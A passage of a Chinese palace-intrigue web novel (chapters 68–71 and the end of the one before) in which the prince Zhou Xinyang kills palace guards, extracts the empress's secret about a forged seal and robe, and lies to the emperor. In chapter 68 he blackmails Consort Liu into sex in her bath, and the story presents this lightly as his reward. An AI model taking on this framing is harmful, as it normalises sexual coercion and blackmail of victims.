“那些东西……”她闭上眼,仿佛说出每一个字都需要耗尽全身的力气,“不在熾璋宫,也不在东宫。”
周昕阳眉头微蹙:“哦?那在何处?”
“在……”长孙皇后重新睁开眼,眸中是一片死水般的沉寂,却又带着一种孤注一掷的决绝,“在大慈恩寺,佛祖座下。”
这个地点显然出乎周昕阳的意料,他眼中露出惊疑之色。
大慈恩寺是皇家寺院,香火鼎盛,人来人往,将如此大逆不道之物藏于彼处,实在胆大包天,却也灯下黑,出人意料。
“具体位置?”周昕阳追问。
长孙皇后惨然一笑,那笑容比哭更令人心酸:“前几日,我以皇后之名,为太后祈福,捐了一尊纯金的不动明王佛像,置于大雄宝殿三世佛左侧的配殿之中。那佛像……是空心的。”
她顿了顿,每一个字都像是从齿缝间挤出:“假玉玺……藏于佛像腹内暗格。那件……黄袍,则拆分成丝线,编织成了覆盖佛像的明黄幡帐。”
“什么?!”周昕阳闻言,脸色微变,将龙袍拆解重织成佛像的幡帐!这等奇思妙想,若非皇后亲口所言,谁敢相信?
长孙皇后看着他脸上的震惊,眼中掠过一丝近乎病态的、扭曲的快意:“泽川王,现在你满意了?这,就是你们想要的……足以将我们母子打入十八层地狱的铁证。”
她向前踉跄一步,死死盯住周昕阳,用尽最后的气力,声音虽低,却带着不容置疑的决绝:“东西,我给你了。但你要记住你刚才的话!若陛下……不,若你不能保太子性命无虞,保住我长孙家族,我长孙氏就算化作厉鬼,也绝不会放过你!还有……”
她的目光锐利如刀,仿佛要穿透周昕阳的灵魂:“我要你立誓,承诺会帮太子脱罪。否则,我此刻便撞死在这殿柱之上,让你什么都得不到,还要背上逼死皇后的罪名!”
这是她最后能为儿子争取的条件,是她用这惊天秘密换来的、微不足道却至关重要的喘息之机。
她站在那里,如同一支即将燃尽的蜡烛,却迸发出最决绝的光。
周昕阳微微一惊,他没想到,都到了这个时候,长孙皇后居然还有制约他的手段?
眼前这个看似已被逼至悬崖边缘的女人,在这山穷水尽之时,竟还能祭出如此狠厉的反制手段——以她皇后之尊的性命为赌注,要将“逼死国母”的滔天罪名扣在他的头上!
这份临危不乱的急智,这番玉石俱焚的决绝……周昕阳心中感叹,若非太子已经彻底没有翻盘机会,不然以长孙皇后的能力,将来以太后的身份辅佐新帝,这天下藩王,还有谁能是她的对手?
电光石火间,这些念头已在他脑中过了一遍。他面上却不动声色,只是静静地看着长孙皇后。
“怎么?”
“不肯?”
长孙皇后凤目圆睁,里面是豁出一切的疯狂与绝望:“那本宫就成全你!让你周昕阳的名字,遗臭万年!”
话音未落,她竟真的铆足了力气,低头朝着那坚硬冰冷的梁柱猛冲过去!凤冠上的珠翠因这决绝的动作而剧烈摇晃,发出清脆又悲鸣般的撞击声。
“且慢!”
周昕阳身形如电,一把牢牢攥住了长孙皇后纤细的手臂,强大的力道硬生生止住了她赴死的冲势。
长孙皇后被他拽得一个趔趄,猛地回头,眼中尽是愤怒与不解的火焰:“放手!你……”
“皇后娘娘,您难道就从来没有想过另一种可能吗?”
“比如说……我,根本就不是陛下派来的人呢?”周昕阳的声音低沉下来,说出了一句让她浑身颤抖的话。
“什……什么?”这句话,如同九天惊雷,让长孙皇后直接愣在当场。
周昕阳很满意她这副反应,嘴角勾起一丝邪恶的笑容,“首先,父皇并没有安排我过来劝说皇后你,其次,太子被抓,东宫泄密,从始至终,其实都是因为我。”
“而我也是被宸察院关押的嫌犯之一。”
“皇后,若是想死,自便就是。”
“你若不信,只管走出大殿,看一看就知道了。”
“行了,孤走了。”
“哈哈哈……”
周昕阳哈哈大笑,大
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步离开了熾璋宫。
……
周昕阳走了。
长孙皇后靠在梁柱上,仿佛失去了所有的力气。
“你若不信,只管走出大殿,看一看就知道了……”
这句话,如同魔咒,在她一片空白的脑海中反复回响。
出去……看看?
对,必须亲眼确认!万一……万一周昕阳只是在虚张声势呢?
一股不知从何而来的力气,支撑着几乎软倒的身体。长孙皇后挣脱了背后依靠的冰冷梁柱,脚步虚浮,如同一个失了魂的木偶,跌跌撞撞地朝着那两扇紧闭的宫殿大门走去。
她的手颤抖着,按在沉重的宫门上,用力一推——
“吱呀——”
宫门洞开。
门外的景象,并非想象中宸察院探子的严阵以待,却更让她心胆俱裂!
暮色深重,宫灯摇曳,在青石地面上投下诡谲的光影。
首先映入眼帘的,是倒在宫门两侧阴影里的两名宸察院探子。他们背靠着宫墙,头颅低垂,仿佛只是疲倦小憩,但颈间那道细如红线的伤口,在昏暗光线下若隐若现,渗出的血迹早已凝固发黑,他们的佩刀甚至未曾完全出鞘。
长孙皇后倒吸一口凉气,目光惊恐地向前延伸。
不远处的廊柱下,一名穿着掌事宫女服饰的女子歪倒在地,那是她安排在殿外听用的心腹!
宫女的眼睛圆睁着,望着漆黑的夜空,手中还紧紧攥着丝帕,而她的胸口,一个极小的伤口正对着心脏位置。
更远处,通往宫外必经之路的月亮门洞下,把守此处的两名宸察院暗哨,以一个极其不自然的姿势交叠倒下,咽喉处皆是一片模糊的暗红。
他们的死亡,无声地封锁了这条通道。
**不多,零零散散,不过五六具尸体。但每一个,都死在关键的位置上!或是宸察院的明暗哨,或是她宫中的太监、宫女。
没有大规模厮杀的痕迹,没有血流成河的惨状。
所有的死亡都精准、高效、悄无声息,如同夜幕**蛇的致命一击。空气里弥漫的不是浓重的血腥,而是一股若有若无的、甜腥的死亡气息,混合着夜风的凉意,钻入鼻腔,令人作呕。
一个想法,在长孙皇后的脑海中浮现。
“泽川王,是独自一人杀进来的……”
第68章 炅和宫沐浴
“这一轮,是杀过瘾了。”
周昕阳将身上的衣服更换掉,漫步在御花园里,将身上的杀气、戾气,尽数化解。
看着御花园内各种花草树木,他脑海中总是不自觉浮现出五妹的画面……
他不由得会心一笑。
“算了,时间还早,去见见五妹吧。”
周昕阳这么想着,突然脚步顿了顿,他嗅了嗅自己身上的气味,“五妹这个小妮子,鼻子比狗都尖,还是先找个地方洗澡吧。”
“不然肯定暴露。”
“让我想想,这个时间的话,宫里还有谁会洗澡呢?”
周昕阳看着怀表时间【1:27】,若有所思。
“有了。”
“柳妃应该在沐浴,她有这个习惯。”
周昕阳突然想起现实中的孙公公就是因为当日被安排去给柳妃传旨,才逃过一劫,最终成为天使,来云梦州给他宣旨。
“忘记问孙公公宣旨的内容了。”
“算了,没事,不重要,柳妃还是不错的。”
“肤如凝脂,白白嫩嫩的。”
周昕阳身形一动,靠近墙壁,开始朝着柳妃所在的炅和宫。
大虞王朝,后宫妃嫔制度。
分为:皇后、皇贵妃、贵妃、妃、嫔、昭仪、婕妤、美人、才人等
皇后:凤仪天下,六宫之主,帝王正妻,后宫最高统治者。
皇贵妃:副后,权势仅在皇后之下。
贵妃:高级妃嫔,地位尊贵。
妃:中级妃嫔的主位。
……
炅和宫,柳妃寝殿。
氤氲水汽如轻纱般弥漫在浴池之上,一道窈窕的身影倚靠在白玉池边,任由温热的水流拂过凝脂般的肌肤。
几名宫女垂首侍立在一旁,动作轻柔地将新采摘的花瓣撒入水中。
水波荡漾,暗香浮动,朦胧光线下,宛如一幅仙子入浴图,静谧得不似凡间。
柳妃慵懒地抬手,打了个手势,声音带着几分沐浴后的沙哑:“都下去吧。”
“是。”宫女们齐声应道,恭敬行礼后,悄无声息地退出了这片温暖之地。
偌大的浴池顿时只剩下柳妃一人。
她将身子缓缓沉入水中,只留肩颈以上,温热的水流却驱不散心底泛起的寒意。
近来陛下的龙体每况愈下,已许久不召嫔妃侍寝了。
宫中虽无人敢明言,但那股山雨欲来的压抑,谁都感觉得到。
陛下大限将至,新帝登基之后,她们这些旧人该何去何从?
运气好些的,或许能留在深宫一角,青灯古佛了此残生;若时运不济,被赐予殉葬,或是打发到那荒凉寺庙为国祈福,往后的日子,便真是暗无天日了。
“唉……”一声轻叹逸出唇瓣,带着无尽的怅惘,“若本宫能有个一儿半女傍身,或许还能有一线生机,得几分照拂。”
“柳妃娘娘,有时,没有子嗣,未必是祸事。”
“有了子嗣,才是大限将至啊!”
一个低沉的男声毫无预兆地响起,打破了满室静谧!
柳妃悚然一惊,猛地蜷缩身体,双臂护在胸前,厉声喝道:“谁?!何人胆敢擅闯?”
只见屏风后阴影晃动,一人缓步走出,来人身着太监服饰,身形挺拔,面容俊秀,尽是掩不住眉宇间的英气。
柳妃瞳孔微缩,借着摇曳的烛光仔细辨认,语气惊疑不定:“你……你是……泽川王?”
“不错,难为柳妃娘娘还记得小王。”周昕阳嘴角勾起一抹笑意,随手将头上的太监帽摘下扔到一旁,竟开始旁若无人地解起腰带来。
柳妃见状,花容失色,指着他的手都在微微颤抖:“周昕阳!你、你要做什么?!大胆!本宫是陛下的人,你岂敢……”
周昕阳动作未停,反而轻笑一声,语调平稳却带着不容置疑的威胁:“柳妃娘娘,我若是您,此刻最好小点声,深更半夜,孤男寡女共处一室,您身为后宫妃嫔,若被安上个私通藩王的罪名……这后果,您怕是担待不起吧?”
此话如同一盆冰水当头浇下,柳妃瞬间脸色惨白,到了嘴边的呼救硬生生咽了回去。她压低了声音,又惊又怒:“泽川王,你疯了不成!速速离去!本宫……本宫可以当作从未见过你,绝不多言半字!”
周昕阳褪去外袍,动作反而更快了几分:“娘娘,眼下形势,您比我更清楚。无论您此刻如何选择,无非两种结果。其一,我暴露,您必死无疑,还要累及家族。其二,您暂且隐忍,配合于我。今夜过后,你我桥归桥,路归路,小王绝不会以此事相挟。您只当是被蚊虫叮咬了一口,于您并无实质损伤,却能换得自身与家族平安。如何抉择,娘娘是聪明人。”
柳妃又羞又恼,她万没想到,这位先帝最小的皇子,竟胆大包天至此,连父皇的妃嫔都敢欺辱?
虽传闻中有梦魇之症,行事荒唐,可眼下之事,岂是荒唐二字可以形容的?
可怒归怒,他字字句句都戳在她的死穴上。
周昕阳身为藩王,私入禁宫已是重罪,但最坏也不过削爵流放。
可自己呢?
一旦沾上这污名,唯有死路一条,更要连累亲族遭殃!
这个时间点沐浴更衣,还被人发现与藩王有染,即便她是清白的,为了皇室名节,她也不得不死,甚至于她的家族、她的父母、与她有关系的那些人都会因此受到牵连,盛怒之下可能全族都有灭顶之灾
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两害相权取其轻……电光石火间,柳妃已明白了自己的处境。她绝望地闭上眼,声音带着**的颤音:“周昕阳……你禽兽不如!”
“你不是人!”
“行了,娘娘,春宵苦短,我们还是抓紧些为好。”周昕阳轻笑一声,已然褪尽衣衫,扑通一声跃入池中,水花四溅,朝着那瑟瑟发抖的柳妃逼近。
柳妃惊惶挣扎,几次欲张口呼救,却被周昕阳以眼神和动作死死制住。
最终,在周昕阳的动作下逐渐服软,只能任由他胡作非为。
她紧绷的身体渐渐失了力气,只能偏过头,咬紧下唇,任由**的泪水混入温热的池水中……
一炷香后。
门外传来宫女小心翼翼的询问:“娘娘,您可安好?需要奴婢们进来伺候吗?”
门外的宫女确实觉得蹊跷。按往日惯例,柳妃沐浴最多半炷**夫便会唤人进去收拾,今日却迟迟没有动静。方才似乎还隐约听到些压抑的、似痛似泣的声响,由不得她们不担心。
“本宫……无碍!”柳妃的声音陡然响起,带着一丝不易察觉的颤抖和强装出的镇定,甚至比平日更显威严,“这里不用你们伺候,都退下,没有本宫的吩咐,谁也不准进来!”
“是……”宫女们虽心下疑惑,却也不敢多问,依言退至远处。
听到门外脚步声远去,柳妃立刻压低声音,对依旧埋首于她颈间的男人恼恨道:“够了吧?!你……你快些!”
周昕阳恍若未闻。
“喂,差不多可以了吧?”见对方不理自己,柳妃更是恼怒,冷声道。
“快了快了。”周昕阳回答道。
“喂!你适可而止!”柳妃羞愤交加,语带寒意,“周昕阳,你别得寸进尺!再不出去,外面的人定会生疑!你到底想怎样?”
“呵……”周昕阳终于抬起头,指尖拂过她滚烫的脸颊,语气轻佻,“急什么?她们不敢妄加揣测。要怪,只怪娘娘太过迷人,让小王……情难自禁。”
“无耻!”柳妃猛地扭开头,闭上眼,不再看他。
又过了一炷香的时间,周昕阳方才心满意足地起身,哗啦一声带出无数水花。他慢条斯理地擦拭干净,穿上那套太监服饰,整个人神采奕奕,与来时无异。
他走到池边,对着依旧泡在水中,背对着他、肩头微颤的柳妃拱了拱手,语气轻松:“多谢柳妃娘娘‘款待’,那……小王就告辞了。”
柳妃没有回头,只从牙缝里挤出一个字,带着彻骨的寒意与厌恶:
“滚!”
“好咧!”周昕阳不以为意地笑了笑,身手敏捷地翻过窗棂,身影迅速消失在沉沉的夜色之中。
第69章 御书房
入夜,芳暖阁。
一道身影,躺在床榻上,酣然入睡。
周昕阳看着床榻上,睡得极为香甜的五公主周炘瑶……
周昕阳好久没跟五妹聊天了。
这次来,很想跟她闲聊一会儿,谈谈心事。
其实曾经的周昕阳,时常会来找自己这个五妹聊天,唠家常,排解心中的孤寂和痛苦。
从始至终都是同样的一个梦境,是很痛苦的。
而这份痛苦,无处排解,无处宣泄。
很多事情,爽快过后,就是深深的空虚。
疲惫感,如影随形。
而五妹周炘瑶就是梦境里的一道救赎的光。
倒不是她能做些什么,她只会懂事的倾听,听着周昕阳讲述心中的忧愁和痛苦。
由于梦境会不断重置,周昕阳跟她说过许多话,许多事,能说的,不能说的,周昕阳其实都说过。
只是第二天,她不记得了而已。
‘算了,看你睡得这么香。’
‘这一次,就不打扰你睡觉了。’
‘这一轮梦境,玩的太嗨了。’
‘也差不多要去找父皇摊牌了。’
‘再不去的话,恐怕整个皇宫都要乱了。’
周昕阳思绪微动,最终还是没忍心叫醒自己这个妹妹。
“走了。”
周昕阳伸出手指,刮了刮周炘瑶的小鼻梁,转身离开了房间。
他走后没多久,周炘瑶慢慢睁开了眼睛,她摸了摸鼻子,有些迷糊的喃喃自语:“我怎么感觉九哥来过……”
“可能是我睡迷糊了。”
“大半夜的,五哥怎么会来?”
“算了,继续睡觉吧。”
周炘瑶迷迷糊糊的继续睡了过去。
……
御书房。
“什么?”
“人还没找到?”
“你们宸察院是干什么吃的?”
“这都几个时辰了?”
“废物!”
“统统都是废物!”
“老九究竟跑到哪里去了?”
昭明帝勃然大怒,将手中的奏折,狠狠丢到宸察院掌院学士萧景琰的脸上。
萧景琰一动不动,甚至连表情都没有什么变化,只是恭敬半跪下来:“臣办事不力,请陛下责罚。”
“你当然要受罚,不过那也是你找到老九之后……”昭明帝话还没说完,一阵急促的敲门声,响了起来。
“谁?”昭明帝不耐烦的怒喝。
“陛下,熾璋宫出事了。”宸察院探子的声音,从门外传了进来。
“什么?”
昭明帝一惊,连忙道:“进来,快说,究竟出什么事情了?”
宸察院探子走了进来,开始禀告熾璋宮的情况……
“嗯?”
昭明帝听见宸察院探子和宫女太监尽数死亡的时候,他第一反应是长孙皇后畏罪潜逃了。
“皇后呢?”
“她人在何处?”
“启禀陛下,皇后娘娘她还在熾璋宫,人无恙。”宸察院探子拱手道。
“人还在?”昭明帝皱眉,“立刻加派人手保护皇后,让她来御书房见朕。”
“是。”宸察院探子拱手行礼后,退了出去。
“你是什么人?”
“站住!”
“胆敢擅闯御书房?”
“快!”
“拿下他!”
突然门外传来喧闹声。
昭明帝皱眉,刚要开口询问,房门就被突然推开。
萧景琰反应很快,第一时间,把昭明帝护在身后,神情严肃,死死盯着门口。
下一刻——
“父皇。”
周昕阳大步走了进来。
“老九,是你?”昭明帝一惊,他没想到出现之人,竟然是周昕阳。
萧景琰依旧没有放松警惕,“泽川王,止步!”
“身为藩王,夜闯御书房,乃是重罪!”
周昕阳身后,几道身影,冲了进来。
“护驾!”
十几名护卫手持利刃,将周昕阳围了起来。
“父皇,东宫之事,我立下大功,你连解释的机会都不给我吗?”周昕阳并不惊慌,望着昭明帝。
“等等。”
“你们都退下。”
“朕单独跟老九聊。”
昭明帝摆了摆手,吩咐道。
“是。”
众人退了出去。
“萧景琰,你也出去吧。”昭明帝淡淡吩咐。
萧景琰低声道:“陛下,您要小心。”
“嗯。”昭明帝轻嗯一声,“下去吧。”
“是。”萧景琰
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行礼后,退了出去。
“老九,说说吧,你刚刚究竟去了哪里?”
“为什么杀掉守卫,突然消失?”
“朕只是让你配合开箱,你也做得很好,为什么要逃走?”
昭明帝盯着周昕阳,沉声问道。
“启禀父皇,儿臣只是不喜欢被约束,被监管。”
“儿臣虽然有些胡闹,可总归是立下功劳的,太子与国舅密谋造·反之事,也是儿臣配合宸察院探子一起发现的。”
“可父皇却把儿臣当成犯人,儿臣难以接受。”周昕阳拱手一礼,回应道。
昭明帝微微颔首,对于这个解释,他勉强能接受,“所以,你去了哪里?”
“去了皇家藏书馆,看了一两个时辰的书,然后去了一趟熾璋宮。”周昕阳解释道。
“嗯?”
昭明帝微微眯眼,“去藏书馆做什么?”
“又为什么去熾璋宮?”
“回父皇,去藏书馆,是因为无聊。”周昕阳给出的理由很简单,“被关起来,太无聊了。”
“出了这样的事情,儿臣睡不着,就想着去藏书馆看书。”
“谁知道碰上了二姐。”
“在她的指点下,儿臣看了一些关于粟特语的书籍,儿臣希望未来能够代表大虞出使西域,扬我国威。”
“所以你才想要学习粟特语?”昭明帝淡淡问道。
“是的,父皇。”周昕阳点头。
“这件事,朕会找灵薇求证的。”
“为什么去找皇后?”
“你对皇后做了什么?”昭明帝淡漠开口。
周昕阳开口道:“儿臣本打算找机会询问皇后假龙袍、假玉玺的下落……可谁知道,看见一位黑衣人,杀进了皇后的寝宫。”
“儿臣生怕皇后出事,连忙跟了进去。”
“那人居然在逼问皇后假玉玺、假龙袍的下落?”
昭明帝脸色不变,但心中却翻云覆雨,周昕阳的话,完美解释了如今熾璋宮发生的事情。
为何熾璋宮的宸察院探子、太监宫女**?
为何皇后没事?
为何皇后没有逃走?
“你都听见了什么?”
“那个黑衣人是谁?”
昭明帝追问。
第70章 周昕阳的蒙太奇谎言
“不……不知道。”
周昕阳的声音略微发颤,他垂下头,避开昭明帝那锐利如刀的目光,手指不自觉地蜷缩了一下。
“儿臣……儿臣真的不知道那个黑衣人的身份。”周昕阳深吸一口气,仿佛在努力平复心绪,才继续道,“那人自称是奉了父皇的密旨前去,口口声声以父皇的名义,一遍又一遍地逼问皇后娘娘,那假龙袍、假玉玺……究竟藏在何处……”
周昕阳将熾璋宫中发生的事,细细斟酌,小心取舍,用一种近乎旁观者的、带着几分惊魂未定的语气,向昭明帝娓娓道来。
内容是真的。
发生的故事也是真的。
过程也是真的。
周昕阳巧妙地将自己从中摘了出来,从一个参与者,变成了一个无意间窥见秘密的、惶恐的见证者。
明帝的脸色随着他的叙述,一点点沉了下去,阴郁得如同暴风雨前的天空。
虽早知道皇后脱不了干系,却万万没想到,她的胆子竟肥到了如此地步!
那假玉玺,竟敢藏于为太后祈福的纯金佛像腹内暗格?
那假龙袍,更是被拆解成丝,堂而皇之地织成了覆盖佛像的明黄幡帐?
那尊不动明王像,乃是御赐为太后祈福的圣物,等闲之人,即便是宸察院,也绝不敢轻易去查验碰触……
换句话说,太子乱来的马脚,已经被皇后掩藏干净了。
如果不是太子上头,非要跟着国舅一起造·反,恐怕谁都抓不到他的把柄!
好一招瞒天过海!
若不是太子利令智昏,跟着国舅行那大逆不道之事,恐怕这些勾当,真就要被他们永远掩盖下去了!
“呵呵……”昭明帝怒极反笑,笑声低沉而冰冷,在空旷的御书房内回荡,令人不寒而栗,“好一个朕的皇后!好啊!真是好得很!”
他眸中的怒火几乎要喷薄而出,一字一顿地道:“不光是参与伪造玉玺、龙袍这等十恶不赦之罪,就连国舅举兵造·反,她竟也心知肚明……真是朕的好皇后,太子的好母后!”
周昕阳听着此话,默默低下头。
他很清楚皇后完了。
周昕阳并不清楚,这一轮,他没有刻意去寻找“钥匙”,不过是随意而为、随心而动。
想到什么,就做什么。
可回归理性之后,周昕阳还是来到了御书房,找到了昭明帝。
原因无他。
周昕阳也不敢肯定,假龙袍、假玉玺究竟是不是“钥匙”,万一是,这次梦境再次成为现实……
那他岂不是成了逃犯?
这可不行!
所以,周昕阳为了保险,还是主动来了御书房。
周昕阳已经做好了两手准备。
如果梦境循环被打破,他凭借这两个功绩,绝对有很大的好处,甚至可能被直接留在京城。
反之,如果梦境没被打破,这两个秘密,周昕阳就可以暂时隐藏下来,作为后手来使用。
无论结果如何,他都不亏。
“老九,”昭明帝的目光重新落在周昕阳身上,带着一种审视的压力,语调异常沉重,“朕最后再问你一次,你方才所言,句句属实?绝无半字虚言欺瞒于朕?”
周昕阳当即撩袍,单膝跪地,抬起头,目光澄澈而坚定,朗声道:“儿臣愿以性命担保!方才所言,字字句句皆出自肺腑,若有半句不实,甘受任何惩处!”
好。”昭明帝深深看了他一眼,抬手朝御座一侧那座紫檀木雕花屏风指了指,“你,且到那屏风后面去,给朕安安静静地待着,无论听到什么,都不许发出半点声响。”
“儿臣遵旨。”周昕阳应下,起身快步走到屏风后,隐没了身形。
藏在这个熟悉的位置,周昕阳有些感慨。
前几轮的某次,他就是藏在这个位置,看着太子被抓进来,第一次尝试开锁铁箱……
上一轮的时候,周焕章就藏在这个位置,听着自己与父皇的交谈……
约莫一炷香的功夫后,御书房的门“枝丫”一声,被轻轻推开。
长孙皇后在两名侍卫的陪同下,步履有些虚浮地走了进来。她发髻微乱,脸色苍白,眼角还带着未干的泪痕,一副我见犹怜的模样。
“你们都出去吧。”
昭明帝挥手道。
“遵旨。”
侍卫都退了出去。
“陛下……”她抬起泪眼,哀婉地唤了一声,声音带着哽咽。
“哼!”
昭明帝从鼻子里发出一声冷哼,面沉似水,目光如冰锥般刺向她,“皇后,你来说说,这究竟是怎么一回事?”
“为何你宫中的宫女、太监,都死于非命?”
“连宸察院派去的人,也未能幸免?”
“你,到底做了什么?”
““臣妾……臣妾什么也没做啊!”长孙皇后噗通一声跪倒在地,泪水涟涟,急声分辩,“陛下明鉴!这些……这些都不是臣妾所为!”
“臣妾不过一个深宫妇人,手无缚鸡之力,怎……怎可能做出此等骇人之事?”
“臣妾实在是冤枉啊!”
“冤枉?”昭明帝嘴角勾起一抹冰冷的弧度,“那国舅之事,你又知道多少?”
长孙皇后心头猛地一悸,眼神闪烁,慌忙避重就轻:“陛下……陛下指的是什么?臣妾……臣妾不知啊。”
“胡说八道!”
“你还敢跟朕装糊涂!”
昭明帝猛地一拍御案,震得笔砚乱跳,怒喝道,“你还
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要瞒朕到几时?”
“国舅暗中**甲士埋伏于神武门外,在东宫与太子密谋叛逆,刀兵直指朕的宫阙!”
“你身为六宫之主,太子的生母,你敢说你一无所知?”
他的声音陡然拔高,带着帝王的雷霆之威:“你真当朕老了,昏聩了,可以任由你们母子欺瞒愚弄了吗?!”
屏风后的周昕阳,透过屏风绢纱上模糊的缝隙,他能看到父皇那明黄袍角下紧握的拳头,骨节已然泛白……也能看到跪伏在地的长孙皇后,那纤细背影不受控制地微微颤抖。
“陛下!”长孙皇后猛地抬起头,泪珠滚落,声音凄切,带着一种被逼到绝境的哀恸,“臣妾与陛下结发二十余载,为您生儿育女,打理六宫,没有功劳也有苦劳!”
她仰视着高高在上的皇帝,眼神里充满了难以置信的伤痛,仿佛心上被最信任的人插了一刀。
“您……您怎能因一些莫须有的流言,就如此疑心臣妾?”
她的声音哽咽,每一个字都像是从喉咙里艰难地挤出来,“国舅他究竟在外头做了些什么,臣妾一个终日守在深宫内的妇人,如何能得知晓?”
“至于那什么假玉玺、假龙袍,更是闻所未闻的天方夜谭!”
“陛下,您要明察啊!这定是……定是有奸邪小人在背后构陷臣妾!他们的目的,就是要挑拨我们二十多年的君臣夫妻之情,动摇国之根本啊陛下!”
她声声泣血,仿佛受了天大的冤屈,若是不明就里的人见了,只怕真要心生怜悯。
长孙皇后匍匐着向前挪了半步,伸出颤抖的手,似乎想抓住皇帝的衣角以求一丝信任,姿态卑微到了尘埃里。
“构陷?”
昭明帝的声音冷得像冰,他缓缓从御案后踱步而出,明黄的靴子停在皇后面前,投下的阴影几乎将她完全笼罩,“朕,何时……向你提过‘假玉玺、假龙袍’之事了?”
“……”
一瞬间,仿佛时间凝固。
长孙皇后脸上那凄楚的表情猛地僵住,她眼底的悲愤和委屈如同潮水般退去,取而代之的是一种极致的惊骇和难以置信的恐慌。
她的瞳孔骤然收缩到针尖大小,嘴唇微张,似乎想说什么,却连一个音节都发不出来,只有喉咙里发出轻微的、濒死般的“咯咯”声。
她终于意识到,在极度的惊慌和急于辩解中,她自己,亲口吐露了最不该、也最不可能从皇帝口中直接听到的、那两个致命的词。
这一下,所有的表演,所有的伪装,都在皇帝这轻飘飘的一句反问下,彻底土崩瓦解,碎得连渣都不剩。
御书房内的空气,仿佛在这一刻彻底冻结了。
她自己把自己送上了绝路。
第71章 博弈!把自己送上绝路的皇后娘娘
“怎么不说话了?”
“是无话可说了吧。”
“朕的好皇后?”
“还要隐瞒吗?”
昭明帝声音不高,甚至比刚才更加平静,但却冷得像数九寒天的冰棱,每一个字都冒着森然的寒气。
这些话,如同九天惊雷,在长孙皇后的头顶轰然炸响!
她整个人猛地一颤,仿佛被无形的巨锤狠狠击中,连跪姿都无法维持,身子一软,险些瘫倒在地。
那张原本挂满泪痕、凄楚动人的脸庞,瞬间血色尽褪,变得惨白如纸,比御书房墙壁上悬挂的宣纸还要白上三分。
她瞳孔剧烈收缩,放大,再收缩,里面写满了极致的惊骇和无法掩饰的恐慌,仿佛看到了最恐怖的景象。
“臣妾……臣妾……”她的嘴唇剧烈地哆嗦着,像秋风中的枯叶,试图辩解,却发现自己掉进了一个自己亲手挖就的语言陷阱里,任何说辞在此刻都显得苍白无力,漏洞百出。
刚才那声情并茂的哭诉,此刻变成了最辛辣的讽刺,每一个字都像鞭子一样抽打在她自己身上。
她甚至能感觉到屏风后似乎有一道目光,正冰冷地注视着她的狼狈与不堪。
昭明帝依旧维持着俯视的姿态,那双深邃的眼眸里,最后一丝可能存在的、对于结发妻子的复杂情愫,此刻也彻底消散,只剩下帝王审视罪臣的冰冷与洞彻。
他没有怒吼,没有斥责,只是用这种平静到令人窒息的目光,看着她最后的心理防线土崩瓦解。
“说说吧。”
“你做了什么?”
“熾璋宮发生了什么?”
“还有……你把这两样东西,藏到哪里去了?”
昭明帝淡淡开口。
长孙皇后思绪转动,不断分析着昭明帝的用意:为什么要问我熾璋宮里究竟发生了什么?
为什么追问我把东西藏到哪里去了?
如果老九是陛下的人,一切都是陛下授意的,他又何必来问我呢?
所以老九的话是真的……
他也是嫌犯之一,才敢肆无忌惮的出手,杀死那些太监宫女,以及宸察院的探子。
那我能不能将一切都推到他的身上?
不!
不行!
不能这么做!
一旦这么做,老九被抓回来,他肯定会咬死自己,将一切都说出来。
那就都完了。
所以我只能将计就计,顺着陛下的话说下去……
长孙皇后心念电转,瞬间权衡了所有利弊。
她身体微微佝偻,显出一种被重压摧垮的疲惫,用沙哑而带着泣音的声音开口,开始了她精心编排的“供述”:
“陛下,臣妾有罪……”
她先以认罪开头,姿态放到最低,“臣妾欺瞒了陛下,臣妾确实知道那两样东西的存在。”
她抬起头,泪眼朦胧地看着昭明帝,眼中尽是痛苦和无奈:“可臣妾并非有意欺君!臣妾是被逼无奈啊!”
“说下去。”昭明帝的声音依旧平淡,听不出喜怒,仿佛只是在听一个与己无关的故事。
“是国舅……是臣妾的兄长!”皇后像是找到了情绪的宣泄口,语气带着愤懑与“委屈”,“数月前,他也不知从何处得了那两样骇人之物,惊慌失措之下,竟偷偷带入宫中,苦苦哀求臣妾,说此物留在宫外必是灭门之祸,唯有藏在最意想不到的宫中,或有一线生机……”
她将主谋推给了国舅,并将动机从“谋逆”弱化为“闯祸后的恐慌藏匿”。
甚至就连太子伪造玉玺、龙袍这等谋逆之事,她都想一口气掩盖下来。
屏风后,周昕阳听闻此话,也是心头一惊,感叹长孙皇后的聪明才智:真是伶牙俐齿!
好厉害的皇后娘娘,到了现在这个地步,居然还想翻盘?
三言两语之下,竟然将太子的罪责都推了出去!
“这么说,玉玺、龙袍都是国舅做的,是他给太子做的?对吗?”昭明帝不见喜怒,看着长孙皇后。
“是……是的。”长孙皇后连忙点头,“他毕竟是臣妾一母同胞的兄长,臣妾当时真是鬼迷心窍,又惧又怕,一时糊涂,才答应帮他遮掩。”
“呵呵。”昭明帝呵呵一笑,语气冰冷,“继续,说下去。”
“朕在听。”
“至于熾璋宫之事……”长孙皇后说到这里,身体微微发抖,似乎回忆起了极大的恐怖,“那是一个黑衣人,他武功高强,心狠手辣……”
听到这里,周昕阳嘴角勾起一丝弧度,他知道,这局稳了。
后面无论长孙皇后说什么,都没用了。
哪怕她说出真相,也攀咬不到他了。
因为长孙皇后已经失去了皇帝的信任。
从始至终,父皇都知道假玉玺、假龙袍的事情,只不过,他一直没有揭穿。
直到……太子昏头,非要造·反,才让父皇下定决心废太子,重整朝廷。
“那黑衣人……他……他逼问臣妾那两样东西的下落,臣妾誓死不说,他便将宫中的太监宫女尽数杀害!臣妾吓得魂飞魄散……后来,后来宸察院的人赶到,与那黑衣人搏杀,却也不敌,尽数罹难……”
长孙皇后将周昕阳的杀戮行为,全部归咎于那个“黑衣人”,彻底将周昕阳从这场血腥事件中摘了出来,同时也解释了自己为何能“幸存”。
“臣妾当时孤立无援,眼看就要遭其毒手……或许是动静太大,惊动了巡夜的侍卫,那黑衣人才匆忙遁走。”她编造了一个合理的结局,掩盖了周昕阳自行离开的事实。
“臣妾惊魂未定,又深知此事关系重大,一旦声张,无论东西是否找到,臣妾都难逃干系,甚至会连累太子……臣妾愚蠢,只想着遮掩过去,便强作镇定,不敢声张……”她再次强调是为了保护太子,试图博取一丝同情。
最后,她才回到昭明帝最关心的问题,也是她手中
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最后的筹码——藏匿地点。
她重重叩首,声音带着决绝的哭腔:“陛下,臣妾自知罪孽深重,不敢乞求原谅。”
“那假玉玺就藏在大慈恩寺那尊纯金不动明王佛像腹内的暗格之中……”
“那假龙袍已被拆解,丝线织成了覆盖佛像的明黄幡帐……”
“臣妾愿以命谢罪,只求陛下……陛下明察,此事确与太子无关,他……他全然不知情啊!”
